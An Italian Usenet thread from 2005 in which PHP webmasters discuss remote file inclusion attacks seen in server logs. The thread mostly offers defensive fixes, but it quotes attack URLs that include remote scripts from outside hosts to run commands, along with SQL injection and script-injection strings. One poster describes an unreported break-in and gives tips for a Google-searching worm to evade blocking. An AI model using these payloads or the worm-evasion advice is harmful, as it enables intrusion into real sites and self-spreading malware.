Newsgroup: it.comp.www.php
Titolo: [X-POST] attacchi... info

(ho postato sui 2 NG perché penso sia pertinente ad entrambi)
Salve,
avevo già postato perché mi sembrava che il mio sito stava subendo
tentativi di attacco... ebbene, erano proprio tentativi di attacco.
Premetto che nessuno si è fatto male e che i tentativi non sono andati
a buon fine... per fortuna, per adesso.
Comunque ho capito una cosa molto molto importante che pur essendo
banale nessuno mi aveva mai detto prima:
Mai fare una roba tipo index.php?pagina=
Cioè, al posto di pagina metteteci tutto quello che volete ma non
pagina e affini.
INFATTI, ho scoperto lurcando tra gli accessi indesiderati che ci sono
alcuni di loro, dire molti, che arrivano da google dopo aver cercato:
"allinurl: index.php?pagina=" che tra l'altro non conoscevo come
modalità di ricerca, ho imparato anche questo.
Per la cronaca, i tentativi di attacco sono arrivati con:
/index.php?pagina=
http://www.power-site.net/own.txt?&cmd=
Date un'occhiata a quel own.txt perchè merita davvero.
Poi con:
/index.php?pagina=
http://tillo.zapto.org/include/last_gallery.php?YAPIG_PATH=http://tillo.zapto.org/&cmd=echo%20jSVowMsd
;
In cui si cerca di bucare YaPIG, che  se non sbaglio è una roba per
gallerie di immagini.
Qui c'è qualche info a riguardo:
http://www.osvdb.org/17117
Tra l'altro quest'ultimo attacco veniva sempre accompagnato da:
/index.php?pagina=
http://tillo.zapto.org/include/functions.inc.php&cmd=echo${IFS}jSVowMsd
;
in functions.inc.php c'è solo:
system(cmd);
Spero di aver fatto cosa gradita.
Ciao
-- 
Per rispondermi togli il cappello

 /index.php?pagina=
http://www.power-site.net/own.txt?&cmd=
ehi, la pagina contiene un trojanz!
-- 
"Indovina il film:
In un futuro dominato dalla violenza, Mad Max, un poliziotto, diventa
giustiziere per vendicare la morte della moglie uccisa da una pericolosa
banda di motociclisti.
Soluzione: 
http://scirio.altervista.org/cinema/scheda.php?id=729
"
Mentre scirio posta, sono lez: 16/06/2005 1.01.09
http://www.x-privat.org
 e si posta dibbrutto.

 Premetto che nessuno si è fatto male e che i tentativi non sono andati
nessuno si è fatto male... e come poteva altrimenti???


wrote:

...era una battuta... 


 pagina da includere
Se usato bene non porta a nessun problema passare come parametro nell'url
il nome di una pagina

Date un'occhiata a quel own.txt perchč merita davvero.
Consiglio: evitare di passare come parametro nell'url il nome di una
pagina da includere, se proprio necessario passare un identificativo
numerico appartenente ad una lista di pagine permesse, e forzare
sempre la conversione in numero di questo parametro con la funzione
intval()
Francesco Mazzi
Webmaster di AltroPC.it - 
http://www.altropc.it
 
Dev.Staff di E-Xoopport - 
http://dev.e-xoopport.it

 pagina e affini.
Il problema dovrebbe esserci solamente quando tu vai ad includere tramite
include()(o require ecc) il valore di quel parametro che passi. Come ti
avevo gia risposto, settando il parametro allow_url_fopen a false dovresti
risolvere il problema(non include più file esterni), sempre se le pagine
che passi come parametro e poi includi stanno sullo stesso server dove si
trova php. Altrimenti l'unico metodo è quello di controllare che il
parametro pagina sia compreso in una lista che definisci tu...solo in quel
caso vai a fare l'include. Quindi se tu non includi quel parametro non
credo ci possano essere problemi di alcun genere anche con parametri
"pagina" ed affini!! ;)



Il problema non è che si viene attaccati, infatti a me non è successo
nulla, ma sai com'è, vedere le statistiche e i contatori tutti
sballati e tutti pieni zeppi di sto zapto è una rottura... e se quindi
si può scegliere... io consiglierei di evitare pagina, ma non per
questioni di sicurezza (cioè anche) ma + che altro per evitare di
essere bersagliati continuamente. Non sai che rottura... ogni 30
minuti... tac... 
E' un consiglio, non una giusta modalità operativa....


 
credo di non aver colto esattamente il tipo di dolore discusso..
potreste essere piu' chiari?
-- 
www.iuz-lab.info

il nome di una pagina
Dipende cosa intendi per usato bene...comunque a mio modo di vedere è
anche poco elegante passare il nome di una pagina nell'url.


 a buon fine... per fortuna, per adesso.
[CUT]
Dato che si parla di stats,
puoi dirmi che cosa stai usando per le statistiche?
uno script tuo o robe tipo phpstats ??
Grazie infinite
T.



Uso php-stats: 
http://www.php-stats.com/
Molto buono e dettagliato.


Non puoi bloccare l'ip da cui arrivano?
Gli ip sono molti... e poi non so se posso bloccare proprio io la
richiesta della pagina. Cmq ho già fatto un tool per eliminare i
record che richiedono quella pagina... però che palle!


> Mai fare una roba tipo index.php?pagina=
Confermo, tempo fa ho trovato un sito bucabile con questa tecnica 
segnalato da un webmaster che faceva pubblicita' al proprio sito su 
questo newsgroup (lui non lo sapeva del bug ovviamente).
Avrei potuto anche avvisare, ma cosi' avrei dovuto ammettere di 
averglielo bucato e quindi di aver commesso un reato. Per cui chi me lo 
fa fare? =)
Avevo anche teorizzato un worm che inviasse richieste a google per 
scoprire questi siti, li attaccasse replicandovisi, ne prendesse 
possesso e cominciasse anch'esso a inviare richieste a google per 
scoprire nuovi siti, in un circolo vizioso infinito.
Nessuno per ora l'ha ancora realizzato, ma chissa' magari un giorno. =)

 risolvere il problema(non include più file esterni), sempre se le pagine
Esattamente, pero' il problema e' a monte e sta nella pessima, pessima, 
pessima tecnica programmativa rappresentata da questo include di una 
variabile passata in get. Non si fa, non va fatto. I problemi di 
sicurezza posti sono molteplici e non soltanto di takeover via php ma 
anche per esempio di ottenimento di file del filesystem, tutti quelli a 
cui puo' accedere in lettura l'utente con cui gira apache, e sono 
veramente tanti (vogliamo cominciare con passwd?). Una piu' che ottima 
base di partenza per portare a segno accessi non autorizzati.
Se proprio si e' cosi' cani come programmatori si puo' almeno prendere 
la variabile in get e con una espressione regolare fare un replace a "" 
di tutto cio' che non e' compreso fra a-z A-Z e 0-9 e infine aggiungerci 
in coda ".php".
Questo almeno impedisce che un attaccante se ne vada a spasso ad 
includere per il file system o peggio per internet.
Una cosa come ../../../etc/passwd diventerebbe etcpasswd.php, file da 
includere non trovato.
Una cosa come 
http://www.pippo.it/pluto.html
 diventerebbe 
httpwwwpippoitplutohtml.php, file da includere non trovato.
E l'attaccante s'attacca al...

) mi hai interrotto dicendo:

ma sei un genio del malez :)
ma è illegale testare i buchi dei sitiz, tipo l'injer sql (o como se
scrive)?
-- 
"Indovina il film:
L'agente Danny, viene accusato ingiustamente della morte di un suo amico,
ucciso mentre stava indagando su alcuni poliziotti corrotti.
Per provare la propria innocenza, Danny, sarà costretto ad usare la
forza...
Soluzione: 
http://scirio.altervista.org/cinema/scheda.php?id=2075
"
Mentre scirio posta, sono lez: 18/06/2005 16.13.43


 scoprire questi siti
Arrivi tardi, se non sbaglio un attacco al modulo gallery di nuke usava 
proprio google per sapere quali siti erano attaccabili ...
Ciao!
Cla!
-- 
http://www.docebolms.org
 :: E-learning open source
Errare e' umano, ma per fare veramente casino serve la password di root.

 scrive)?
Si'.

 
    Anche il worm che poco tempo fa ha bucato un sacco di phpBB mi pare 
utilizzasse google per trovare le vittime.
-- 
  ____UTHP: 
http://www.theuthp.com
      *     ### Fantomius ###
|  __|__ _ _ _____ ___ _  _ _ _  _ ___ *       Love &  Peace
|  _| . | \ |_   _| _ | \/ | | || |_ -|*   
fant...@theuthp.com
|_| |_|_|_|_| |_| |___|_||_|_|____|___|*       ICQ#: 19451716

 Si'.
bè scusa, se uno si sceglie come nick e password 'OR 1=1 --
non sarà mica reato, no? :p
-- 
"Indovina il film:
Un ragazzino non vuole rassegnarsi all'idea che babbo natale non esiste, e
per questo motivo i suoi compagni lo prendono ingiro.
Alla vigilia di Natale però, un misterioso treno a vapore, porta il
ragazzino ed i suoi amici al polo nord...
Soluzione: 
http://scirio.altervista.org/cinema/scheda.php?id=1039
"
Mentre scirio posta, sono lez: 19/06/2005 10.36.18


 
se trattato correttamente, no..
-- 
www.iuz-lab.info

 intval()
[CUT]
Mi interessa molto questa procedura,
da quello che mi sembra di capire č possibile includere e quindi avere 
un link dove invece di avere pagina.phpetc.etc. si avrebbe un 
collegamento con numeri e/o lettere.
Potreste per cortesia farmi un esempio o spiegarlo un po meglio??
in particolare come utilizzarlo?
Vi ringrazio infinitamente
Saluti
T.

 T.
dato un array..
$pagesArray = array(
        'page0.php',
        'page1.php',
        'page2.php',
        'page3.php'
);
if (isset($_GET['page']) AND isset($pagesArray[$_GET['page']])) {
        include $pagesArray[$_GET['page']];
}
oppure..
if (isset($_GET['page']) AND in_array($_GET['page'], $pagesArray)) {
        include $_GET['page'];
}
comunque altre soluzioni sono possibili..
-- 
www.iuz-lab.info

 Si'.
damn ... :-)

Livorno 6 wrote:

testare sulle proprie reti o su reti previo consenso certificato del
proprietario, no.
ma non conosco i dettagli..
comunque sia quando viene scoperto un bug sia rilevante oppure no, e' buona
norma e IMHO dovere, passare l'informazione ai canali ufficiali ed agli
sviluppatori del codice interessato.
-- 
www.iuz-lab.info

 utilizzasse google per trovare le vittime.
Infatti. Purtroppo ha commesso l'errore di usare una stringa di ricerca 
particolare, che google ha usato come firma per riconoscere le richieste 
provenienti dal virus per non dargli risposta, arrestandone 
l'espansione.
Un worm quindi deve stare attento a fare query a google che siano 
semplici, sfogliando le pagine successive e inserendo ritardi variabili, 
cosi' da fare sembrare le richieste provenienti da umani. Cosi' facendo 
la ricerca delle vittime e quindi l'espansione del virus sara' piu' 
lenta ma non potra' mai essere bloccata da google.

 non sarà mica reato, no? :p
Hahahaha! Un po' come usare un cacciavite come chiave. "Oops scusate 
signore forze dell'ordine, ho solo sbagliato porta ma vi assicuro che a 
casa mia sono uso aprire l'uscio con codesto arnese che per me e' una 
chiave e nulla piu'". :)

> bè scusa, se uno si sceglie come nick e password 'OR 1=1 --

lolz :)
però, se il sito è carente di protezione base, non si può mica incolpare
chi usa la propria esperienza per, diciamo, carpire i più profondi segreti
del sito, il tutto a scopo costruttivo e didatticoz :p
ieppoi, semmai, è il sito che con un login del genere dovrebbe essere
'sgridato' perchè non protegge la privacy dei suoi iscritti ;)
è un po' come quelli che nei guestbook o nei commenti non disabilitano
l'html, non si può mica incolpare il povero utente che magari si firma
<script>self.location=.....:p
inzomma è il webmaster che deve migliorarsi
discorso diverso se si flooddano siti tipo come è successo a googlez,
bastardata vigliacchissima a sfondo sovversivo (lo ammetto non so perchè lo
hanno fatto :p) ;)
o tipo se si consuma volontariamente la banda sui siti di altervista (a me
una volta un burlone lo ha fatto, poi mi son tutelatoz)
-- 
"- Cosa si dice ad una prostituta impicciona?
- "Fatti i cazzi tuoi!""

 
quello e' un attacco senza eleganza..
-- 
www.iuz-lab.info

Livorno 6 wrote:

veramente l'analogia corretta corrisponderebbe a..
se uno si sceglie come chiave di casa un cacciavite non sara' mica reato,
no? :p
la risposta e' si..
non e' un reato..
-- 
www.iuz-lab.info

